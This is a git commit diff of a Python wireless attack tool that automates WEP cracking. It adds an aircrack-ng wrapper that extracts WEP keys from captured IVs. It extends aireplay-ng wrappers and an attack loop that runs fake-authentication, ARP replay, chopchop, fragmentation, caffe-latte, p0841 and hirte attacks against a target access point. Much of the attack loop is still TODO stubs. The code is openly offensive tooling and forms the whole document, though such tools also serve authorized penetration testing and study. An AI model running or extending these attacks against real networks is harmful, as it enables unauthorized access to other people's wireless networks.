Working on getting WEP attacks finished
Lots of small fixes/tweaks/changes.
This commit is contained in:
71
py/Aircrack.py
Normal file
71
py/Aircrack.py
Normal file
@@ -0,0 +1,71 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
from Process import Process
|
||||
from Configuration import Configuration
|
||||
|
||||
import os
|
||||
|
||||
class Aircrack(object):
|
||||
def __init__(self, ivs_file):
|
||||
self.cracked_file = Configuration.temp() + 'wepkey.txt'
|
||||
|
||||
# Delete previous cracked files
|
||||
if os.path.exists(self.cracked_file):
|
||||
os.remove(self.cracked_file)
|
||||
|
||||
command = [
|
||||
'aircrack-ng',
|
||||
'-a', '1',
|
||||
'-l', self.cracked_file,
|
||||
ivs_file
|
||||
]
|
||||
|
||||
self.pid = Process(command, devnull=True)
|
||||
|
||||
|
||||
def is_running(self):
|
||||
return self.pid.poll() == None
|
||||
|
||||
|
||||
def is_cracked(self):
|
||||
return os.path.exists(self.cracked_file)
|
||||
|
||||
|
||||
def get_key_hex_ascii(self):
|
||||
if not self.is_cracked():
|
||||
raise Exception('Cracked file not found')
|
||||
f = open(self.cracked_file, 'r')
|
||||
hex_raw = f.read()
|
||||
f.close()
|
||||
|
||||
hex_key = ''
|
||||
ascii_key = ''
|
||||
while len(hex_raw) > 0:
|
||||
if hex_key != '':
|
||||
hex_key += ':'
|
||||
hex_key += hex_raw[0:2]
|
||||
# Convert hex to decimal
|
||||
code = int(hex_raw[0:2], 16)
|
||||
if code < 32 or code > 127:
|
||||
# Hex key is non-printable in ascii
|
||||
ascii_key = None
|
||||
continue
|
||||
elif ascii_key == None:
|
||||
continue
|
||||
# Convert decimal to char
|
||||
ascii_key += chr(code)
|
||||
hex_raw = hex_raw[2:]
|
||||
return (hex_key, ascii_key)
|
||||
|
||||
if __name__ == '__main__':
|
||||
from time import sleep
|
||||
Configuration.initialize()
|
||||
a = Aircrack('tests/files/wep-crackable.ivs')
|
||||
while a.is_running():
|
||||
sleep(1)
|
||||
if a.is_cracked():
|
||||
print "cracked!"
|
||||
print '(hex, ascii) =', a.get_key_hex_ascii()
|
||||
else:
|
||||
print "Not cracked"
|
||||
Configuration.exit_gracefully(0)
|
||||
@@ -49,14 +49,15 @@ class WEPAttackType(object):
|
||||
|
||||
|
||||
class Aireplay(object):
|
||||
def __init__(self, target, attack_type):
|
||||
def __init__(self, target, attack_type, client_mac=None):
|
||||
'''
|
||||
Starts aireplay process.
|
||||
Args:
|
||||
target - Instance of Target object, AP to attack.
|
||||
attack_type - int, str, or WEPAttackType instance.
|
||||
client_mac - MAC address of an associated client.
|
||||
'''
|
||||
cmd = Aireplay.get_aireplay_command(target, attack_type)
|
||||
cmd = Aireplay.get_aireplay_command(target, attack_type, client_mac)
|
||||
self.pid = Process(cmd, devnull=False)
|
||||
|
||||
def is_running(self):
|
||||
@@ -72,12 +73,13 @@ class Aireplay(object):
|
||||
return self.pid.stdout()
|
||||
|
||||
@staticmethod
|
||||
def get_aireplay_command(target, attack_type):
|
||||
def get_aireplay_command(target, attack_type, client_mac=None):
|
||||
'''
|
||||
Generates aireplay command based on target and attack type
|
||||
Args:
|
||||
target - Instance of Target object, AP to attack.
|
||||
attack_type - int, str, or WEPAttackType instance.
|
||||
client_mac - MAC address of an associated client.
|
||||
'''
|
||||
|
||||
# Interface is required at this point
|
||||
@@ -87,8 +89,9 @@ class Aireplay(object):
|
||||
|
||||
cmd = ['aireplay-ng']
|
||||
cmd.append('--ignore-negative-one')
|
||||
client_mac = None
|
||||
if len(target.clients) > 0:
|
||||
|
||||
if not client_mac and len(target.clients) > 0:
|
||||
# Client MAC wasn't specified, but there's an associated client. Use that.
|
||||
client_mac = target.clients[0].station
|
||||
|
||||
# type(attack_type) might be str, int, or WEPAttackType.
|
||||
@@ -101,10 +104,8 @@ class Aireplay(object):
|
||||
cmd.extend(['-T', '1']) # Make 1 attemp
|
||||
if target.essid_known:
|
||||
cmd.extend(['-e', target.essid])
|
||||
|
||||
# TODO Should we specify the source MAC as a client station?
|
||||
#if client_mac:
|
||||
# cmd.extend(['-h', client_mac])
|
||||
# Do not specify client MAC address,
|
||||
# we're trying to fake-authenticate using *our* MAC
|
||||
|
||||
elif attack_type == WEPAttackType.replay:
|
||||
cmd.append('--arpreplay')
|
||||
@@ -173,9 +174,17 @@ if __name__ == '__main__':
|
||||
print t.name, type(t.name), t.value
|
||||
|
||||
from Target import Target
|
||||
fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 1, 54, WPA2, CCMP TKIP,PSK, -58, 2, 0, 0. 0. 0. 0, 9, HOME-ABCD, '.split(',')
|
||||
fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
|
||||
t = Target(fields)
|
||||
|
||||
cmd = Aireplay.get_aireplay_command(t, 'fakeauth')
|
||||
print ' '.join(['"%s"' % a for a in cmd])
|
||||
|
||||
'''
|
||||
aireplay = Aireplay(t, 'replay')
|
||||
while aireplay.is_running():
|
||||
from time import sleep
|
||||
sleep(0.1)
|
||||
print aireplay.get_output()
|
||||
'''
|
||||
|
||||
|
||||
31
py/Airmon.py
31
py/Airmon.py
@@ -104,7 +104,7 @@ class Airmon(object):
|
||||
|
||||
@staticmethod
|
||||
def stop(iface):
|
||||
# TODO (this)
|
||||
# TODO airmon-ng stop iface
|
||||
pass
|
||||
|
||||
|
||||
@@ -127,21 +127,40 @@ class Airmon(object):
|
||||
interfaces.append(iface)
|
||||
return interfaces
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
@staticmethod
|
||||
def ask():
|
||||
''' Asks user to define which wireless interface to use '''
|
||||
mon_ifaces = Airmon.get_interfaces_in_monitor_mode()
|
||||
mon_count = len(mon_ifaces)
|
||||
if mon_count == 1:
|
||||
# Assume we're using the device already in montior mode
|
||||
iface = mon_ifaces[0]
|
||||
Color.pl('{+} using interface {G}%s{W} which is already in monitor mode'
|
||||
% iface);
|
||||
return iface
|
||||
|
||||
a = Airmon()
|
||||
a.print_menu()
|
||||
count = len(a.interfaces)
|
||||
question = Color.s("Select interface ({G}1-%d{W}): " % (count))
|
||||
if count == 0:
|
||||
# No interfaces found
|
||||
Color.pl('{!} {O}airmon-ng did not find {R}any{O} wireless interfaces')
|
||||
raise Exception('airmon-ng did not find any wireless interfaces')
|
||||
elif count == 1:
|
||||
# Only one interface, assume this is the one to use
|
||||
iface = a.get(1)
|
||||
else:
|
||||
# Multiple interfaces found
|
||||
question = Color.s("{+} select interface ({G}1-%d{W}): " % (count))
|
||||
choice = raw_input(question)
|
||||
iface = a.get(choice)
|
||||
Color.pl("You chose: {G}%s{W}" % iface.name)
|
||||
|
||||
if a.get(choice).name in mon_ifaces:
|
||||
Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name)
|
||||
else:
|
||||
Airmon.start(iface)
|
||||
#a.start(a.interfaces[0])
|
||||
return iface.name
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
Airmon.ask()
|
||||
|
||||
@@ -11,7 +11,9 @@ import os
|
||||
class Airodump(object):
|
||||
''' Wrapper around airodump-ng program '''
|
||||
|
||||
def __init__(self, interface=None, channel=None, encryption=None, wps=False, target_bssid=None, output_file_prefix='airodump'):
|
||||
def __init__(self, interface=None, channel=None, encryption=None, \
|
||||
wps=False, target_bssid=None, output_file_prefix='airodump', \
|
||||
ivs_only=False):
|
||||
''' Constructor, sets things up '''
|
||||
|
||||
Configuration.initialize()
|
||||
@@ -33,6 +35,8 @@ class Airodump(object):
|
||||
|
||||
self.target_bssid = target_bssid
|
||||
self.output_file_prefix = output_file_prefix
|
||||
self.ivs_only = ivs_only
|
||||
|
||||
|
||||
def __enter__(self):
|
||||
'''
|
||||
@@ -59,6 +63,11 @@ class Airodump(object):
|
||||
if self.target_bssid:
|
||||
command.extend(['--bssid', self.target_bssid])
|
||||
|
||||
if self.ivs_only:
|
||||
command.extend(['--output-format', 'ivs,csv'])
|
||||
else:
|
||||
command.extend(['--output-format', 'pcap,csv'])
|
||||
|
||||
# Start the process
|
||||
self.pid = Process(command, devnull=True)
|
||||
return self
|
||||
@@ -75,20 +84,28 @@ class Airodump(object):
|
||||
# Delete temp files
|
||||
self.delete_airodump_temp_files()
|
||||
|
||||
def delete_airodump_temp_files(self):
|
||||
''' Deletes airodump* files in the temp directory '''
|
||||
|
||||
def find_files(self, endswith=None):
|
||||
''' Finds all files in the temp directory that start with the output_file_prefix '''
|
||||
result = []
|
||||
for fil in os.listdir(Configuration.temp()):
|
||||
if fil.startswith(self.output_file_prefix):
|
||||
os.remove(Configuration.temp() + fil)
|
||||
if not endswith or fil.endswith(endswith):
|
||||
result.append(Configuration.temp() + fil)
|
||||
return result
|
||||
|
||||
def delete_airodump_temp_files(self):
|
||||
''' Deletes airodump* files in the temp directory '''
|
||||
for fil in self.find_files():
|
||||
os.remove(fil)
|
||||
|
||||
def get_targets(self):
|
||||
''' Parses airodump's CSV file, returns list of Targets '''
|
||||
# Find the .CSV file
|
||||
csv_filename = None
|
||||
for fil in os.listdir(Configuration.temp()):
|
||||
if fil.startswith(self.output_file_prefix) and fil.endswith('-01.csv'):
|
||||
for fil in self.find_files(endswith='-01.csv'):
|
||||
# Found the file
|
||||
csv_filename = Configuration.temp() + fil
|
||||
csv_filename = fil
|
||||
break
|
||||
if csv_filename == None or not os.path.exists(csv_filename):
|
||||
# No file found
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
import time
|
||||
|
||||
class Attack(object):
|
||||
'''
|
||||
Contains functionality common to all attacks
|
||||
|
||||
@@ -4,6 +4,7 @@ from Attack import Attack
|
||||
from Airodump import Airodump
|
||||
from Aireplay import Aireplay, WEPAttackType
|
||||
from Configuration import Configuration
|
||||
from Interface import Interface
|
||||
from Color import Color
|
||||
|
||||
import time
|
||||
@@ -26,20 +27,85 @@ class AttackWEP(Attack):
|
||||
# First, start Airodump process
|
||||
with Airodump(channel=self.target.channel,
|
||||
target_bssid=self.target.bssid,
|
||||
ivs_only=True, # Only capture IVs packets
|
||||
output_file_prefix='wep') as airodump:
|
||||
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
|
||||
for attack_num in xrange(1, 6):
|
||||
if self.fake_auth():
|
||||
# We successfully authenticated!
|
||||
# Use our interface's MAC address for the attacks.
|
||||
client_mac = Interface.get_mac()
|
||||
elif len(airodump_target.clients) == 0:
|
||||
# There are no associated clients. Warn user.
|
||||
Color.pl('{!} {O}there are no associated clients{W}')
|
||||
Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' +
|
||||
' without fake-authentication or associated clients{W}')
|
||||
client_mac = None
|
||||
else:
|
||||
client_mac = airodump_target.clients[0].station
|
||||
|
||||
aircrack = None # Aircrack process, not started yet
|
||||
|
||||
wep_attack_types = [
|
||||
'replay',
|
||||
'chopchop',
|
||||
'fragment',
|
||||
'caffelatte',
|
||||
'p0841',
|
||||
'hirte'
|
||||
]
|
||||
for attack_name in wep_attack_types:
|
||||
# Convert to WEPAttackType.
|
||||
wep_attack_type = WEPAttackType(attack_name)
|
||||
|
||||
# Start Aireplay process.
|
||||
aireplay = Aireplay(self.target, \
|
||||
wep_attack_type, \
|
||||
client_mac=client_mac)
|
||||
|
||||
# Loop until attack completes.
|
||||
while True:
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
Color.p('\r{+} WEP attack {C}%s{W} ({G}%d IVs{W}) '
|
||||
% (attack_name, airodump_target.ivs))
|
||||
|
||||
# TODO: Check if we cracked it.
|
||||
# if aircrack and aircrack.cracked():
|
||||
|
||||
# Check number of IVs, crack if necessary
|
||||
if airodump_target.ivs > Configuration.wep_crack_at_ivs:
|
||||
# TODO:
|
||||
# 1. Check if we're already trying to crack:
|
||||
# aircrack and aircrack.is_running()
|
||||
# 2. If not, start cracking:
|
||||
# aircrack = Aircrack(airodump_target, capfile)
|
||||
pass
|
||||
#aireplay = Aireplay(self.target, attack_num)
|
||||
'''
|
||||
TODO (pending until I get a router to test on)
|
||||
* Wait for IVS to start flowing, e.g. sleep(1).
|
||||
* if IVS > threshold, start cracking.
|
||||
* Check aireplay.is_running() to see if it completed/failed.
|
||||
* Continue attacks depending on aireplay status.
|
||||
'''
|
||||
|
||||
if not aireplay.is_running():
|
||||
# Some Aireplay attacks loop infinitely
|
||||
if attack_name == 'chopchop' or attack_name == 'fragment':
|
||||
print '\nChopChop stopped, output:'
|
||||
print aireplay.get_output()
|
||||
# We expect these to stop once a .xor is created
|
||||
# TODO:
|
||||
# Check for .xor file.
|
||||
# If it's not there, the process failed. Check stdout.
|
||||
# If xor exists, run packetforge-ng on it.
|
||||
# If packetforge created the .cap file to replay, then replay it
|
||||
# Change attack_name to 'forged arp replay'
|
||||
# Start Aireplay by replaying the cap file
|
||||
pass
|
||||
else:
|
||||
print '\naireplay.get_output() =', aireplay.get_output()
|
||||
raise Exception('Aireplay exited unexpectedly')
|
||||
|
||||
# TODO:
|
||||
# Replay: Check if IVS stopped flowing (same for > 20 sec)
|
||||
# If so, restart the Replay attack.
|
||||
|
||||
time.sleep(1)
|
||||
continue
|
||||
|
||||
|
||||
def fake_auth(self):
|
||||
@@ -48,6 +114,8 @@ class AttackWEP(Attack):
|
||||
Returns: True if successful,
|
||||
False is unsuccesful.
|
||||
'''
|
||||
Color.p('{+} attempting {G}fake-authentication{W} with {C}%s{W}...'
|
||||
% self.target.bssid)
|
||||
start_time = time.time()
|
||||
aireplay = Aireplay(self.target, 'fakeauth')
|
||||
process_failed = False
|
||||
@@ -56,7 +124,7 @@ class AttackWEP(Attack):
|
||||
aireplay.stop()
|
||||
process_failed = True
|
||||
break
|
||||
time.sleep(1)
|
||||
time.sleep(0.1)
|
||||
|
||||
# Check if fake-auth was successful
|
||||
if process_failed:
|
||||
@@ -66,8 +134,9 @@ class AttackWEP(Attack):
|
||||
fakeauth = 'association successful' in output.lower()
|
||||
|
||||
if fakeauth:
|
||||
Color.pl('{+} {G}fake-authentication successful{W}')
|
||||
Color.pl(' {G}success{W}')
|
||||
else:
|
||||
Color.pl(' {R}failed{W}')
|
||||
if Configuration.require_fakeauth:
|
||||
# Fakeauth is requried, fail
|
||||
raise Exception(
|
||||
@@ -86,9 +155,8 @@ class AttackWEP(Attack):
|
||||
|
||||
if __name__ == '__main__':
|
||||
from Target import Target
|
||||
fields = "30:85:A9:39:D2:18, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54, WPA2, CCMP TKIP,PSK, -58, 2, 0, 0. 0. 0. 0, 9, Uncle Router's Gigabit LAN Party, ".split(',')
|
||||
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e,WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
|
||||
target = Target(fields)
|
||||
wep = AttackWEP(target)
|
||||
wep.fake_auth()
|
||||
|
||||
wep.run()
|
||||
|
||||
|
||||
@@ -30,8 +30,9 @@ class Configuration(object):
|
||||
|
||||
# WEP variables
|
||||
Configuration.wep_only = False # Only attack WEP networks
|
||||
Configuration.wep_pps = 6000 # Packets per second
|
||||
Configuration.wep_pps = 600 # Packets per second
|
||||
Configuration.wep_timeout = 600 # Seconds to wait before failing
|
||||
Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
|
||||
Configuration.require_fakeauth = False
|
||||
# WEP-specific attacks
|
||||
Configuration.wep_fragment = True
|
||||
@@ -82,6 +83,11 @@ class Configuration(object):
|
||||
if args.wordlist: Configuration.wordlist = args.wordlist
|
||||
if args.require_fakeauth: Configuration.require_fakeauth = False
|
||||
|
||||
if Configuration.interface == None:
|
||||
# Interface wasn't defined, select it!
|
||||
from Airmon import Airmon
|
||||
Configuration.interface = Airmon.ask()
|
||||
|
||||
|
||||
@staticmethod
|
||||
def temp():
|
||||
|
||||
@@ -68,3 +68,26 @@ class Interface(object):
|
||||
s += '-' * (Interface.PHY_LEN + Interface.NAME_LEN + Interface.DRIVER_LEN + Interface.CHIPSET_LEN)
|
||||
return s
|
||||
|
||||
@staticmethod
|
||||
def get_mac(iface=None):
|
||||
from Configuration import Configuration
|
||||
from Process import Process
|
||||
import re
|
||||
|
||||
if iface == None:
|
||||
Configuration.initialize()
|
||||
iface = Configuration.interface
|
||||
if iface == None:
|
||||
raise Exception('Interface must be defined (-i)')
|
||||
|
||||
output = Process(['ifconfig', iface]).stdout()
|
||||
mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
|
||||
match = re.search('HWaddr (%s)' % mac_regex, output)
|
||||
if not match:
|
||||
raise Exception('Could not find the mac address for %s' % iface)
|
||||
return match.groups()[0].replace('-', ':')
|
||||
|
||||
if __name__ == '__main__':
|
||||
mac = Interface.get_mac()
|
||||
print 'wlan0mon mac address:', mac
|
||||
|
||||
|
||||
@@ -121,8 +121,8 @@ class Scanner(object):
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
Configuration.initialize()
|
||||
# Example displays targets and selects the appropriate one
|
||||
Configuration.initialize()
|
||||
try:
|
||||
s = Scanner()
|
||||
targets = s.select_targets()
|
||||
@@ -133,3 +133,4 @@ if __name__ == '__main__':
|
||||
Color.p("{W}Selected: ")
|
||||
print t
|
||||
Configuration.exit_gracefully(0)
|
||||
|
||||
|
||||
BIN
py/tests/files/wep-crackable.ivs
Normal file
BIN
py/tests/files/wep-crackable.ivs
Normal file
Binary file not shown.
Reference in New Issue
Block a user